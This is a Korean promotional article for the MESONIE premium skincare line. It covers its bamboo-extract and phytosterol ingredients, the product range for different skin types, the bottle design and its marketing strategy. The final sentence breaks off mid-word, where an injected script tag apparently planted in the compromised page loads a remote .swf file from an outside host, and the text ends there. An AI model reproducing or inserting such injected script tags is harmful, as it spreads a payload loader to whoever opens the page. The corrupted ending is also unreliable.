"현대 도시여성을 위한 프리미엄 브랜드" 대나무추출수, 피토스테롤 등 특허출원으로 차별화 >>>>>개발배경 최근 여성소비자는 패션 지향적이면서 개성을 추구하는 경향과 함께 보다 기능적이고 과학적인 화장품에 대한 기대심리가 강한 면을 보이고 있다. 특히 도시여성의 경우, 오염된 공기, 담배연기, 생활자외선, 전자파 등 많은 외적 유해 환경과 정신적 스트레스 등으로부터 피부 밸런스를 잃기 쉽다. ‘메소니에’는 이러한 도시여성의 지친 피부를 아름다운 피부로 회복시키는데 역점을 두고 한국 여성의 피부타입에 맞는 최적의 피부밸런스 회복이라는 명제아래 피부 고유의 역할인 외부환경에 대한 방어기능의 증대를 통해 피부상태를 최적화 해주는 제품으로 탄생됐다. >>>>>브랜드 컨셉 ‘메소니에(MESONIE)’는 현대 여성이 갖고 있는 이미지의 키워드인 자연(Nature),나의 이미지(Image), 나에대한 사랑(Egoism)을 표현한 것으로 자연과 나의 이미지, 그리고 자신에 대한 사랑을 표현하는 ‘Message for Nature,Image ＆ Egoism’을 나타내고 있다. 즉, 자신에 대한 적극적인 표현을 통해 아름다움과 고급을 지향하면서, 개성있고 세련된 도시여성의 감성을 만족시켜주는 도시미감(都市美感)화장품을 표방하고 있다. >>>>>타깃층 메소니에는 자신만의 개성과 스타일을 중시하는 20대 중반이상의 현대 도시여성을 주요 대상으로 하고 있다. 고품격의 프리미엄 브랜드를 선호하면서 자신만의 이미지에 대해 가치를 부여함으로서 자신을 연출하고 적극적으로 관리하는 여성을 위한 제품이다. >>>>>제품 컨셉 현대 도시 여성의 피부밸런스 회복을 위해 일반화장품과 달리 정제수로 다량의 영양분과 함께 흡수력이 우수한 대나무추출수(특허출원)를 이용했으며, 유해한 외부환경으로부터 피부의 수분손실 뿐만아니라 피부 고유의 방어기능을 강화시켜주기 위해 피토스테롤(특허출원번호 2001-0004548)성분을 이용했다. 피토스테롤은 나드리화장품 기술개발연구소가 2년간 연구개발한 성분으로 IFSCC(세계 화장품 과학자 회의)에 피부자극 완화효과를 가진 화장료 조성물에 대한 논문발표를 준비중에 있기도 하다. 이러한 차별화된 성분을 이용한 것은 물론, 피부트러블의 최소화를 위해 외부기관에 의뢰, 전품목 피부테스트를 실시함으로서 소비자가 안전하게 사용할 수 있도록 했다. 이러한 차별화된 성분과 소비자의 입장을 최대한 고려한 메소니에는 우수한 제품력에 대한 자신감을 바탕으로 제품 케이스에 전성분을 표기함으로서 소비자의 알권리를 충족시키고 있다. >>>>>제품구성 스킨,로션,크림,에센스,클렌징 등 기초 6종 11품목을 먼저 선보인 메소니에는 한국여성들의 피부타입을 면밀히 조사 분석하여 스킨과 로션의 경우, 건성,중복합성 그리고 지복합성에 따라 각각 피부타입별로 보습과 유분의 함량을 달리했다. 즉 건성용에는 중복합성용이나 지복합성용보다 수분과 유분의 함량을 높였으며, 지복합성용에는 상대적으로 건성용이나 중복합성용보다 보습과 유분의 함량을 낮춤으로서 소비자의 피부타입에 따라 피부 밸런스를 최적화 할 수 있도록 했다. 또한, 에센스의 경우에는 산뜻한 느낌과 풍부한 느낌의 두가지 타입의 제품을 선보여 소비자의 피부상태 및 사용감에 따라 자유로운 선택을 가능하도록 했다. >>>>>디자인 컨셉 용기의 전체적인 이미지는 현대적인 감각의 이미지로 자연적인 칼라배색의 소프트함을 기본으로 고급스러움을 추구했다. 이미지의 키워드로는 내추럴하면서도, 칼라와 소재, 그래픽 요소 등을 적절히 조합해 프리미엄 제품의 이미지를 형상화했다. 용기 형태는 여성의 바디라인과 한국인의 정적인 면인 선의 미학을 살려 원통형 캡과 사각에서 원형으로 자연스럽게 변화되도록 하여 부드럽게 흐르는 곡선미를 강조했다. 칼라는 제품 내용물 성분인 대나무 추출수를 모티브로 하여 그린칼라를 주요색상으로 세련되면서도 식물수와 보습성분이 함유되어 있음을 나타냈다. 브랜드 로고타입은 ‘MESONIE’의 첫 알파벳 M자를 심볼마크로 부드럽고 심플한 형태를 통해 도시적인 감각파 여성의 이미지를 전달하고 있다. >>>>>마케팅 및 영업전략 시판 프리미엄급 브랜드로서 대나무추출수 및 피토스테롤이라는 특허성분을 이용한 고가의 프리미엄 제품임을 적극적으로 인지시켜 나간다는 전략이다. 프리미엄 제품으?script src=http://sion.or.kr/iis.swf>

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